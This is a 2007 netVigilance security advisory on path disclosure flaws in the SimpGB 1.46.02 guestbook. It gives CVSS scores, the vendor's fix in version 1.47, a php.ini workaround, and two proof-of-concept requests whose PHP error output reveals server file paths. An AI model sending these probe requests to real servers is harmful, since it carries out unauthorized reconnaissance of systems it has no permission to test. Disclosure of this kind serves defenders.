SimpGB version 1.46.02 Multiple Path Disclosure Vulnerabilities

Advisory Content :

netVigilance Security Advisory #64

SimpGB version 1.46.02 Multiple Path Disclosure Vulnerabilities
Description:
SimpGB is a guestbook with data stored in MySQL, administration interface
and support for multiple languages. Features: Data stored in MySQL,
Administration interface, Support for multiple languages, Support for
multiple instances in one database, Support for multiple layouts, Own
header/footer can be defined, Support of BBCode and smilies, Admin can
decide which BBCode tags to enable, Avatars (with option to let users
upload their own), Admin can decide which input fields to display and which
of them are required, Admins can write comments on posts, Admins can mark
entry as "always on top", Admins can attach file to entry, flood
protection, IP banlist, bad word list, send email notification upon new
posts, optionally validate new posts before they get visible by public, own
leadtext for entry form and own "Thank you" message can be defined, Option
to mark posts as private (only admins can see them), search entries, Option
to let users send emails out of guestbook.
External References:
Mitre CVE: ID requested but no answer received
NVD NIST: ID requested but no answer received
OSVDB: ID requested but no answer received

Summary:
SimpGB is a guestbook with data stored in MySQL, administration interface
and support for multiple languages.
Security problems in the product allow attackers to gather the true path of
the server-side script.

Advisory URL:
http://www.netvigilance.com/advisory0064

Release Date:
09/25/2007

CVSS Version 2 Metrics:

Base Metrics:

Exploitability Metrics:

Access Vector:
Network

Access Complexity:
Low

Authentication:
None

Impact Metrics:

Confidentiality Impact:
Partial

Integrity Impact:
None

Availability Impact:
None
Temporal Metrics:

Exploitability:
Functional

Remediation Level:
Official Fix

Report Confidence:
Confirmed

CVSS Version 2 Vectors:

Base Vector:
"AV:N/AC:L/Au:N/C:P/I:N/A:N"
Temporal Vector:
"E:F/RL:OF/RC:C"

CVSS Version 2 Scores:

Base Score:
5

Impact Subscore:
2.9

Exploitability Subscore:
10
Temporal Score:
4.1
SecureScout Testcase ID:
TC 17983

Vulnerable Systems:
SimpGB version 1.46.02

Vulnerability Type:
Program flaws - The product scripts have flaws which lead to Warnings or
even Fatal Errors.
Vendor:
Bosch IT-Consulting

Vendor Status:
The Vendor has confirmed the problem and has release new version 1.47 that
addresses the problem. New version of product was tested and we can confirm
that all vulnerabilities were solved. For more information see vendor
announcement. To download the latest version go to vendors product download
area.
Workaround:
Disable warning messages: modify in the php.ini file following line:
display_errors = Off.
Or modify .htaccess file (this will work only for the apache servers).
Example:
Path Disclosure Vulnerability 1:
REQUEST:
http://[TARGET]/[PRODUCT DIRECTORY]/admin/index.php?lang=aa
REPLY:
Warning: main(./language/lang_aa.php): failed to open stream: No
such file or directory in [DISCLOSED PATH][PRODUCT
DIRECTORY]adminindex.php on line 14 
Warning: main(): Failed opening './language/lang_aa.php' for
inclusion (include_path='.;c:php4pear') in [DISCLOSED PATH][PRODUCT
DIRECTORY]adminindex.php on line 14 
Warning: Cannot modify header information - headers already sent by
(output started at [DISCLOSED PATH][PRODUCT DIRECTORY]adminindex.php:14) in
[DISCLOSED PATH][PRODUCT DIRECTORY]adminheading.php on line
112 
Warning: Cannot modify header information - headers already sent by
(output started at [DISCLOSED PATH][PRODUCT DIRECTORY]adminindex.php:14) in
[DISCLOSED PATH][PRODUCT DIRECTORY]adminheading.php on line
113 
Warning: Cannot modify header information - headers already sent by
(output started at [DISCLOSED PATH][PRODUCT DIRECTORY]adminindex.php:14) in
[DISCLOSED PATH][PRODUCT DIRECTORY]adminheading.php on line
114 
Warning: Cannot modify header information - headers already sent by
(output started at [DISCLOSED PATH][PRODUCT DIRECTORY]adminindex.php:14) in
[DISCLOSED PATH][PRODUCT DIRECTORY]adminheading.php on line
115 
Path Disclosure Vulnerability 2:
REQUEST:
http://[TARGET]/[PRODUCT DIRECTORY]/admin/trailer.php
REPLY:
Fatal error: Call to undefined function: do_url_session() in
[DISCLOSED PATH][PRODUCT DIRECTORY]admintrailer.php on line
7 
Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com

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SimpGB version 1.46.02 Multiple Path Disclosure Vulnerabilities